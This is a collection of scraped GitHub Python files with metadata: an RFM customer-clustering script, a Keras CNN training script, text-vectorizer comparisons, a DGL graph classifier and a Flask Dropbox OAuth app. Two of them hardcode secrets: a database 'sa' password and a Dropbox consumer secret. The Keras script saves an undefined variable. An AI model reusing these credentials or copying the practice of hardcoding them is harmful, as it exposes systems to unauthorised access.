as sa\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.cluster import AgglomerativeClustering\n\n#Database connection and data fetching from Database to dataframe\ntry: \n conn = pyodbc.connect(\"Driver={SQL Server Native Client 11.0};\"\n \"Server=192.168.11.200;\"\n \"Database=EPSMirror;uid=sa;pwd=flexiload;\"\n \"Trusted_Connection=no;\")\n #fetching data from sql server store procedure\n df = pd.read_sql(\"EXEC dbo.SP_RawDataFromChurn 'Jan 01 2019','Jun 30 2019', 'D007';\", conn)\n print(\"Connection Established\")\n\nexcept Exception as exp:\n print(\"Can not Connect\")\n\n\n\n\n#ResearchId\nresearch_id=df['ResearchId'][0]\n\n#taking first first four columns\ntransaction_data=df.iloc[:,0:4].copy()\n#converting to invoiceDate to date time type\ntransaction_data['InvoiceDate']=transaction_data['InvoiceDate'].apply(pd.to_datetime)\n\n#Building recency feature\nreference_date = transaction_data.InvoiceDate.max()\nreference_date = reference_date + datetime.timedelta(days = 1)\ntransaction_data['days_since_last_purchase'] = reference_date - transaction_data.InvoiceDate\ntransaction_data['days_since_last_purchase_num'] = transaction_data['days_since_last_purchase'].astype('timedelta64[D]')\ncustomer_history_df = transaction_data.groupby(\"CustomerCode\").min().reset_index()[['CustomerCode', 'days_since_last_purchase_num']]\ncustomer_history_df.rename(columns={'days_since_last_purchase_num':'recency'}, inplace=True)\n\n#building frequency and monetary features\ncustomer_monetary_val = transaction_data[['CustomerCode', 'Amount']].groupby(\"CustomerCode\").sum().reset_index()\ncustomer_history_df = customer_history_df.merge(customer_monetary_val, how='outer')\ncustomer_history_df.Amount = customer_history_df.Amount+0.001\ncustomer_freq = transaction_data[['CustomerCode', 'Amount']].groupby(\"CustomerCode\").count().reset_index()\ncustomer_freq.rename(columns={'Amount':'frequency'},inplace=True)\ncustomer_history_df = customer_history_df.merge(customer_freq, how='outer')\n\n#taking log of RFM Feature\ncustomer_history_df['recency_log'] = customer_history_df['recency'].apply(np.log)\ncustomer_history_df['frequency_log'] = customer_history_df['frequency'].apply(np.log)\ncustomer_history_df['amount_log'] = customer_history_df['Amount'].apply(np.log)\n\n#removing null\ncustomer_history_df=customer_history_df.dropna()\n#selecting feature\nfeature=['recency_log','frequency_log','amount_log']\nX=customer_history_df[feature].values\n#scaling the feature\nscaler=MinMaxScaler()\nscaler.fit(X)\nX=scaler.transform(X)\n\n#Conducting Agglomerative Clustering\nclustering=AgglomerativeClustering(n_clusters=7).fit(X)\n#Assigning Cluster Label\ncustomer_history_df['Cluster_Label']=clustering.labels_\n#Labeled Customer Cluster\ncustomer_history_df['Cluster_Label'].replace({0:\"TemporaryWalking\",1:\"TemporaryWalking\",2:\"NewEmerging\",3:\"PureLoyal\",4:\"ChurningLessImportant\",5:\"LoyalLessImportant\",6:\"Churning\"},inplace=True)\n\n#Storing Analytics Result and Cluster Algorithm Output In Database\n\n#Adding ResearchId to customer_history dataframe\ncustomer_history_df['ResearchId']=research_id\ndf=customer_history_df[['ResearchId','CustomerCode','Cluster_Label','recency','frequency','Amount',]]\n#rename dataframe columns name as CustomerAnalyticsResult schema columns name\ndf.rename(columns={'Cluster_Label':'CustomerCluster','recency':'Recency','frequency':'Frequency','Amount':'MonetaryValue'},inplace=True)\ntry:\n engine = sa.create_engine(\"mssql+pyodbc://sa:flexiload@192.168.11.206/RetailAI?driver=SQL+Server+Native+Client+11.0\")\n print(\"Engine Created Successfully.\")\nexcept Exception as exp:\n print(\"Can not create engine\")\n print(exp)\n\ntry:\n df.to_sql('CustomerAnalyticsResult',con=engine,if_exists='append',index=False)\n print(\"Data Write Back to Database Successfull.\")\nexcept Exception as exp:\n print(\"Data Write Back to Database Unsuccessfull.\")\n print(exp)\n", "repo_name": "tanviranik/MLNotebooks", "sub_path": "RFMwithAgglomerativeClustering.py", "file_name": "RFMwithAgglomerativeClustering.py", "file_ext": "py", "file_size_in_byte": 4243, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pyodbc.connect", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 36, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 56, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 57, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 65, "usage_type": "call"}, {"api_name": "sklearn.cluster.AgglomerativeClustering", "line_number": 70, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 84, "usage_type": "call"}]} {"seq_id": "29048413650", "text": "import tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv2D, MaxPool2D, Flatten, Dense, BatchNormalization,Activation\nfrom keras.preprocessing.image import ImageDataGenerator\nimport numpy as np\n\ntrdata = ImageDataGenerator()\ntraindata = trdata.flow_from_directory(directory=\"data\",target_size=(500,500))\ntsdata = ImageDataGenerator()\ntestdata = tsdata.flow_from_directory(directory=\"test\", target_size=(500,500))\n\ndef SeparableConv( x , num_filters , strides , alpha=1.0 ):\n x = tf.keras.layers.DepthwiseConv2D( kernel_size=3 , padding='same' )( x )\n x = tf.keras.layers.BatchNormalization(momentum=0.9997)( x )\n x = tf.keras.layers.Activation( 'relu' )( x )\n x = tf.keras.layers.Conv2D( np.floor( num_filters * alpha ) , kernel_size=( 1 , 1 ) , strides=strides , use_bias=False , padding='same' )( x )\n x = tf.keras.layers.BatchNormalization(momentum=0.9997)(x)\n x = tf.keras.layers.Activation('relu')(x)\n return x\n\ndef Conv( x , num_filters , kernel_size , strides=1 , alpha=1.0 ):\n x = tf.keras.layers.Conv2D( np.floor( num_filters * alpha ) , kernel_size=kernel_size , strides=strides , use_bias=False , padding='same' )( x )\n x = tf.keras.layers.BatchNormalization( momentum=0.9997 )(x)\n x = tf.keras.layers.Activation('relu')(x)\n return x\n\n# The number of classes are three.\nnum_classes = 5\n\n# The shape of the input image.\ninputs = tf.keras.layers.Input( shape=( 500 , 500 , 3 ) )\n\nx = Conv( inputs , num_filters=32 , kernel_size=3 , strides=2 )\nx = SeparableConv( x , num_filters=32 , strides=1 )\nx = Conv( x , num_filters=64 , kernel_size=1 )\nx = SeparableConv( x , num_filters=64 , strides=2 )\nx = Conv( x , num_filters=128 , kernel_size=1 )\nx = SeparableConv( x , num_filters=128 , strides=1 )\nx = Conv( x , num_filters=128 , kernel_size=1 )\nx = SeparableConv( x , num_filters=128 , strides=2 )\nx = Conv( x , num_filters=256 , kernel_size=1 )\nx = SeparableConv( x , num_filters=256 , strides=1 )\nx = Conv( x , num_filters=256 , kernel_size=1 )\nx = SeparableConv( x , num_filters=256 , strides=2 )\nx = Conv( x , num_filters=512 , kernel_size=1 )\n\n\nx = SeparableConv(x, num_filters=512 , strides=2 )\nx = Conv(x, num_filters=1024 , kernel_size=1 )\nx = tf.keras.layers.AveragePooling2D( pool_size=( 7 , 7 ) )( x )\nx = tf.keras.layers.Flatten()( x )\nx = tf.keras.layers.Dense( num_classes )( x )\noutputs = tf.keras.layers.Activation( 'softmax' )( x )\n\narch = tf.keras.models.Model( inputs , outputs )\n#model.save('mobilenet.h5')\n\n\nfrom tensorflow.keras.optimizers import Adam\nfrom keras.losses import categorical_crossentropy\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping, TensorBoard\n\nopt = Adam(lr=0.001)\narch.compile(optimizer=opt, loss=categorical_crossentropy, metrics=['accuracy'])\n\nearly = EarlyStopping(monitor='val_accuracy', min_delta=0, patience=5, verbose=1, mode='auto')\nhist = arch.fit_generator(steps_per_epoch=32,generator=traindata, validation_data= testdata, validation_steps=10,epochs=20,callbacks=[early])#tensorboard_callback])\n\nmodel.save('arch30_test.h5')\n\n", "repo_name": "NIDA575/DeepLearning", "sub_path": "arcitecture/assignment.py", "file_name": "assignment.py", "file_ext": "py", "file_size_in_byte": 3092, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 7, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 9, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.DepthwiseConv2D", "line_number": 13, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 13, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.BatchNormalization", "line_number": 14, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 14, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Activation", "line_number": 15, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.floor", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.BatchNormalization", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 17, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Activation", "line_number": 18, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 18, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.floor", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.BatchNormalization", "line_number": 23, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Activation", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Input", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.AveragePooling2D", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 50, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 51, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 52, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Activation", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 53, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.models.Model", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 55, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 63, "usage_type": "call"}, {"api_name": "keras.losses.categorical_crossentropy", "line_number": 64, "usage_type": "name"}, {"api_name": "keras.callbacks.EarlyStopping", "line_number": 66, "usage_type": "call"}]} {"seq_id": "71050260731", "text": "import numpy as np\nimport pandas as pd\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import f1_score, roc_auc_score\nfrom sklearn.model_selection import StratifiedKFold, train_test_split\nfrom textvec import vectorizers\n\n\ntrain = pd.read_csv('../input/train.csv').fillna(' ')#.sample(10000, random_state=13)\ntrain_target = train['target'].values\n\ntrain_text = train['question_text']\n\nX_train, X_test, y_train, y_test = train_test_split(train_text, train_target, test_size=0.1, random_state=13)\n\ncount_vec = CountVectorizer(strip_accents='unicode',\n token_pattern=r'\\w{1,}',\n ngram_range=(1, 1)).fit(X_train)\n\ntfor_vec = vectorizers.TforVectorizer(sublinear_tf=True)\ntfor_vec.fit(count_vec.transform(X_train), y_train)\ntrain_or, ci_95 = tfor_vec.transform(count_vec.transform(X_train), confidence=True)\ntest_or = tfor_vec.transform(count_vec.transform(X_test))\n\nclassifier = LogisticRegression(C=10, solver='sag', random_state=13)\nclassifier.fit(train_or, y_train)\nval_preds = classifier.predict_proba(test_or)[:,1]\nprint('ROC_AUC -> ', roc_auc_score(y_test, val_preds))\nprint('shape -> ', train_or.shape)\nclassifier = LogisticRegression(C=10, solver='sag', random_state=13)\nclassifier.fit(train_or[:,ci_95], y_train)\nval_preds = classifier.predict_proba(test_or[:,ci_95])[:,1]\nprint('ROC_AUC -> ', roc_auc_score(y_test, val_preds))\nprint('shape -> ', train_or[:,ci_95].shape)\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import f1_score, roc_auc_score\nfrom sklearn.model_selection import StratifiedKFold\nfrom textvec import vectorizers\n\n\ntrain = pd.read_csv('../input/train.csv').fillna(' ')#.sample(100000, random_state=13)\ntest = pd.read_csv('../input/test.csv').fillna(' ')#.sample(10000, random_state=13)\ntest_qid = test['qid']\ntrain_target = train['target'].values\n\ntrain_text = train['question_text']\ntest_text = test['question_text']\n\ntfidf_vec = TfidfVectorizer(\n sublinear_tf=True,\n strip_accents='unicode',\n token_pattern=r'\\w{1,}',\n ngram_range=(1, 1))\ntfidf_vec.fit(pd.concat([train_text, test_text]))\ntrain_idf = tfidf_vec.transform(train_text)\n\n\ncount_vec = CountVectorizer(strip_accents='unicode',\n token_pattern=r'\\w{1,}',\n ngram_range=(1, 1)).fit(train_text)\n\ntfrf_vec = vectorizers.TfrfVectorizer(sublinear_tf=True)\ntfrf_vec.fit(count_vec.transform(train_text), train_target)\ntrain_rf = tfrf_vec.transform(count_vec.transform(train_text))\n\ntfor_vec = vectorizers.TforVectorizer(sublinear_tf=True)\ntfor_vec.fit(count_vec.transform(train_text), train_target)\ntrain_or = tfor_vec.transform(count_vec.transform(train_text))\n\ntficf_vec = vectorizers.TfIcfVectorizer(sublinear_tf=True)\ntficf_vec.fit(count_vec.transform(train_text), train_target)\ntrain_icf = tficf_vec.transform(count_vec.transform(train_text))\n\ntfbinicf_vec = vectorizers.TfBinIcfVectorizer(sublinear_tf=True)\ntfbinicf_vec.fit(count_vec.transform(train_text), train_target)\ntrain_binicf = tfbinicf_vec.transform(count_vec.transform(train_text))\n\nresults = {}\n\ndef validate_results(train_data_vecs, name):\n skf = StratifiedKFold(n_splits=5, shuffle=True, random_state=13)\n for i, (train_index, val_index) in enumerate(skf.split(train_text, train_target)):\n x_train, x_val = train_data_vecs[list(train_index)], train_data_vecs[list(val_index)]\n y_train, y_val = train_target[train_index], train_target[val_index]\n classifier = LogisticRegression(C=10, solver='sag', random_state=13)\n classifier.fit(x_train, y_train)\n val_preds = classifier.predict_proba(x_val)[:,1]\n current_results = results.get(name,{'preds': [], 'target': []})\n current_results['preds'].extend(val_preds)\n current_results['target'].extend(y_val)\n results[name] = current_results\n\nvalidate_results(train_rf, 'rf')\nvalidate_results(train_idf, 'idf')\nvalidate_results(train_or, 'or')\nvalidate_results(train_binicf, 'binicf')\nvalidate_results(train_icf, 'icf')\nimport seaborn as sns\nimport matplotlib.pylab as plt\nres = []\nfor k, v in results.items():\n res.append((k, roc_auc_score(v['target'],np.array(v['preds'])) ,v['preds']))\nres = sorted(res, key= lambda x:-x[1])\ncorrs = np.corrcoef(list(zip(*res))[2])\naccs = list(zip(*res))[1]\nlabels = [f'{x}:{accs[i]:.4f}' for i, x in enumerate(list(zip(*res))[0])]\nfig, ax = plt.subplots(figsize=(10,10)) \nax = sns.heatmap(corrs, \n linewidth=0.5, \n annot=corrs, \n square=True, \n ax=ax, \n xticklabels=labels,\n yticklabels=labels)\n\nplt.show()\n", "repo_name": "aorursy/new-nb-1", "sub_path": "azveryansky_not-only-tfidf-tfor-tfrf-tficf-for-blending.py", "file_name": "azveryansky_not-only-tfidf-tfor-tfrf-tficf-for-blending.py", "file_ext": "py", "file_size_in_byte": 4770, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 16, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 18, "usage_type": "call"}, {"api_name": "textvec.vectorizers.TforVectorizer", "line_number": 22, "usage_type": "call"}, {"api_name": "textvec.vectorizers", "line_number": 22, "usage_type": "name"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 32, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 55, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 60, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 64, "usage_type": "call"}, {"api_name": "textvec.vectorizers.TfrfVectorizer", "line_number": 68, "usage_type": "call"}, {"api_name": "textvec.vectorizers", "line_number": 68, "usage_type": "name"}, {"api_name": "textvec.vectorizers.TforVectorizer", "line_number": 72, "usage_type": "call"}, {"api_name": "textvec.vectorizers", "line_number": 72, "usage_type": "name"}, {"api_name": "textvec.vectorizers.TfIcfVectorizer", "line_number": 76, "usage_type": "call"}, {"api_name": "textvec.vectorizers", "line_number": 76, "usage_type": "name"}, {"api_name": "textvec.vectorizers.TfBinIcfVectorizer", "line_number": 80, "usage_type": "call"}, {"api_name": "textvec.vectorizers", "line_number": 80, "usage_type": "name"}, {"api_name": "sklearn.model_selection.StratifiedKFold", "line_number": 87, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 91, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.corrcoef", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pylab.subplots", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 113, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pylab.show", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 122, "usage_type": "name"}]} {"seq_id": "43738694508", "text": "import multiprocessing\n\nimport dgl\nimport dgl.nn.pytorch as dglnn\nimport torch\nfrom dgl.heterograph import DGLHeteroGraph\nfrom torch.optim.lr_scheduler import ReduceLROnPlateau\n\nfrom moge.model.classifier import DenseClassification\nfrom moge.model.dgl.latte import LATTE\nfrom moge.model.losses import ClassificationLoss\nfrom .pooling import SAGPool\nfrom ..trainer import GraphClfTrainer, print_pred_class_counts\n\n\nclass LATTEGraphClassifier(GraphClfTrainer):\n def __init__(self, hparams, dataset, metrics, *args, **kwargs):\n super(LATTEGraphClassifier, self).__init__(hparams, dataset, metrics, *args, **kwargs)\n\n self.dataset = dataset\n self.multilabel = dataset.multilabel\n self._name = f\"LATTE-{hparams.n_layers}{' proximity' if hparams.use_proximity else ''}\"\n self.collate_fn = None\n\n self.embedder = LATTE(n_layers=hparams.n_layers, t_order=hparams.t_order, embedding_dim=hparams.embedding_dim,\n num_nodes_dict=dataset.num_nodes_dict, head_node_type=dataset.head_node_type,\n metapaths=dataset.get_metapaths(),\n activation=hparams.activation, attn_heads=hparams.attn_heads,\n attn_activation=hparams.attn_activation, attn_dropout=hparams.attn_dropout)\n\n self.pooling = SAGPool(in_dim=hparams.embedding_dim,\n conv_layer=dglnn.GraphConv(in_feats=hparams.embedding_dim,\n out_feats=1,\n allow_zero_in_degree=True),\n ratio=0.5,\n non_linearity=torch.relu)\n\n # self.pooling = DiffPoolBatchedGraphLayer(input_dim=hparams.embedding_dim,\n # assign_dim=32,\n # output_feat_dim=hparams.embedding_dim,\n # activation=torch.relu,\n # dropout=hparams.attn_dropout,\n # aggregator_type=\"mean\",\n # link_pred=False)\n self.readout = hparams.readout\n\n if \"batchnorm\" in hparams and hparams.layernorm:\n self.batchnorm = torch.nn.BatchNorm1d(hparams.embedding_dim)\n\n self.classifier = DenseClassification(hparams)\n self.criterion = ClassificationLoss(loss_type=hparams.loss_type, n_classes=dataset.n_classes,\n class_weight=dataset.class_weight if hasattr(dataset, \"class_weight\") and \\\n hparams.use_class_weights else None,\n multilabel=dataset.multilabel)\n self.hparams.n_params = self.get_n_params()\n\n def forward(self, multigraph: DGLHeteroGraph, feat, **kwargs):\n embeddings = self.embedder.forward(multigraph, feat, **kwargs)\n\n multigraph, feature, perm = self.pooling(multigraph, embeddings[self.dataset.head_node_type])\n multigraph.ndata[\"feature\"] = feature\n\n # adj_new, feature = self.pooling(multigraph, embeddings[self.dataset.head_node_type])\n # multigraph.ndata[\"feature\"] = feature\n\n graph_emb = dgl.readout_nodes(multigraph, 'feature', op=self.readout)\n\n if hasattr(self, \"batchnorm\"):\n graph_emb = self.batchnorm(graph_emb)\n\n y_hat = self.classifier.forward(graph_emb)\n return y_hat\n\n def training_step(self, batch, batch_nb):\n graphs, labels = batch\n graphs = graphs.to(self.device)\n input_feat = {self.dataset.head_node_type: graphs.ndata[\"feat\"]}\n\n y_hat = self.forward(graphs, input_feat)\n loss = self.criterion.forward(y_hat, labels)\n self.train_metrics.update_metrics(y_hat, labels, weights=None)\n\n logs = self.train_metrics.compute_metrics() if batch_nb % 50 == 0 else {}\n outputs = {'loss': loss}\n if logs is not None:\n outputs.update({'progress_bar': logs, \"logs\": logs})\n return outputs\n\n def validation_step(self, batch, batch_nb):\n graphs, labels = batch\n graphs = graphs.to(self.device)\n input_feat = {self.dataset.head_node_type: graphs.ndata[\"feat\"]}\n\n y_hat = self.forward(graphs, input_feat)\n val_loss = self.criterion.forward(y_hat, labels)\n self.valid_metrics.update_metrics(y_hat, labels, weights=None)\n\n return {\"val_loss\": val_loss}\n\n def test_step(self, batch, batch_nb):\n graphs, labels = batch\n graphs = graphs.to(self.device)\n input_feat = {self.dataset.head_node_type: graphs.ndata[\"feat\"]}\n\n y_hat = self.forward(graphs, input_feat)\n test_loss = self.criterion.forward(y_hat, labels)\n\n if batch_nb == 0:\n print_pred_class_counts(y_hat, labels, multilabel=self.dataset.multilabel)\n self.test_metrics.update_metrics(y_hat, labels, weights=None)\n\n return {\"test_loss\": test_loss}\n\n def train_dataloader(self):\n return self.dataset.train_dataloader(collate_fn=None,\n batch_size=self.hparams.batch_size,\n num_workers=int(0.4 * multiprocessing.cpu_count()))\n\n def val_dataloader(self, batch_size=None):\n return self.dataset.valid_dataloader(collate_fn=None,\n batch_size=self.hparams.batch_size,\n num_workers=max(1, int(0.1 * multiprocessing.cpu_count())))\n\n def valtrain_dataloader(self):\n return self.dataset.valtrain_dataloader(collate_fn=None,\n batch_size=self.hparams.batch_size,\n num_workers=max(1, int(0.1 * multiprocessing.cpu_count())))\n\n def test_dataloader(self, batch_size=None):\n return self.dataset.test_dataloader(collate_fn=None,\n batch_size=self.hparams.batch_size,\n num_workers=max(1, int(0.1 * multiprocessing.cpu_count())))\n\n def configure_optimizers(self):\n param_optimizer = list(self.named_parameters())\n no_decay = ['bias', 'alpha_activation']\n optimizer_grouped_parameters = [\n {'params': [p for name, p in param_optimizer if not any(key in name for key in no_decay)],\n 'weight_decay': self.hparams.weight_decay},\n {'params': [p for name, p in param_optimizer if any(key in name for key in no_decay)], 'weight_decay': 0.0}\n ]\n\n # optimizer = torch.optim.AdamW(optimizer_grouped_parameters, eps=1e-06, lr=self.hparams.lr)\n optimizer = torch.optim.Adam(optimizer_grouped_parameters,\n lr=self.hparams.lr, # momentum=self.hparams.momentum,\n weight_decay=self.hparams.weight_decay)\n scheduler = ReduceLROnPlateau(optimizer)\n\n return {\"optimizer\": optimizer, \"lr_scheduler\": scheduler, \"monitor\": \"val_loss\"}\n", "repo_name": "JonnyTran/MultiOmicsGraphEmbedding", "sub_path": "moge/model/dgl/graph_clf.py", "file_name": "graph_clf.py", "file_ext": "py", "file_size_in_byte": 7265, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "trainer.GraphClfTrainer", "line_number": 16, "usage_type": "name"}, {"api_name": "moge.model.dgl.latte.LATTE", "line_number": 25, "usage_type": "call"}, {"api_name": "pooling.SAGPool", "line_number": 31, "usage_type": "call"}, {"api_name": "dgl.nn.pytorch.GraphConv", "line_number": 32, "usage_type": "call"}, {"api_name": "dgl.nn.pytorch", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.relu", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "attribute"}, {"api_name": "moge.model.classifier.DenseClassification", "line_number": 50, "usage_type": "call"}, {"api_name": "moge.model.losses.ClassificationLoss", "line_number": 51, "usage_type": "call"}, {"api_name": "dgl.heterograph.DGLHeteroGraph", "line_number": 57, "usage_type": "name"}, {"api_name": "dgl.readout_nodes", "line_number": 66, "usage_type": "call"}, {"api_name": "trainer.print_pred_class_counts", "line_number": 109, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 117, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 122, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 127, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 144, "usage_type": "attribute"}, {"api_name": "torch.optim.lr_scheduler.ReduceLROnPlateau", "line_number": 147, "usage_type": "call"}]} {"seq_id": "43478087308", "text": "from flask import Flask, redirect, url_for, session, request, jsonify,render_template\nfrom flask_oauthlib.client import OAuth\n\n\napp = Flask(__name__)\napp.debug = True\napp.secret_key = 'development'\noauth = OAuth(app)\n\ndropbox = oauth.remote_app(\n 'dropbox',\n consumer_key='st0t8osb857bs0q',\n consumer_secret='w3ulgaw0plrruv9',\n request_token_params={},\n base_url='https://www.dropbox.com/1/',\n request_token_url=None,\n access_token_method='POST',\n # redirect_uri='http://127.0.0.1:5000/redir',\n access_token_url='https://api.dropbox.com/1/oauth2/token',\n authorize_url='https://www.dropbox.com/1/oauth2/authorize'\n)\n\n\n@app.route('/')\ndef index():\n if 'dropbox_token' in session:\n return render_template('index.html')\n me = dropbox.get('account/info')\n return jsonify(me.data)\n return redirect(url_for('login'))\n # return render_template('index.html')\n\n@app.route('/redir')\ndef redirect_url():\n print(\"Redierct URL Called \"+ str(request.args))\n return render_template('redirect.html')\n\n@app.route('/login')\ndef login():\n\t# return render_template('index.html')\n return dropbox.authorize(callback=url_for('authorized', _external=True))\n\n@app.route('/logout')\ndef logout():\n session.pop('dropbox_token', None)\n return redirect(url_for('index'))\n\n\n@app.route('/login/authorized')\ndef authorized():\n resp = dropbox.authorized_response()\n if resp is None:\n return 'Access denied: reason=%s error=%s' % (\n request.args['error'],\n request.args['error_description']\n )\n session['dropbox_token'] = (resp['access_token'], '')\n user_info = dropbox.get('account/info')\n # Store User Info in User Table of SQL DB\n return jsonify(user_info.data)\n\n\n@dropbox.tokengetter\ndef get_dropbox_oauth_token():\n return session.get('dropbox_token')\n\n\nif __name__ == '__main__':\n app.run()\nimport os\n", "repo_name": "gadi-virat/Image-Edit-Dropbox", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1906, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask_oauthlib.client.OAuth", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.session.pop", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 45, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 46, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 46, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 54, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 55, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 57, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.session.get", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 65, "usage_type": "name"}]} {"seq_id": "6332996419", "text": "import json\nimport datetime\nimport pytz\nimport csv\nimport unicodedata\nfrom decimal import *\n\nfrom django.views.decorators.csrf import 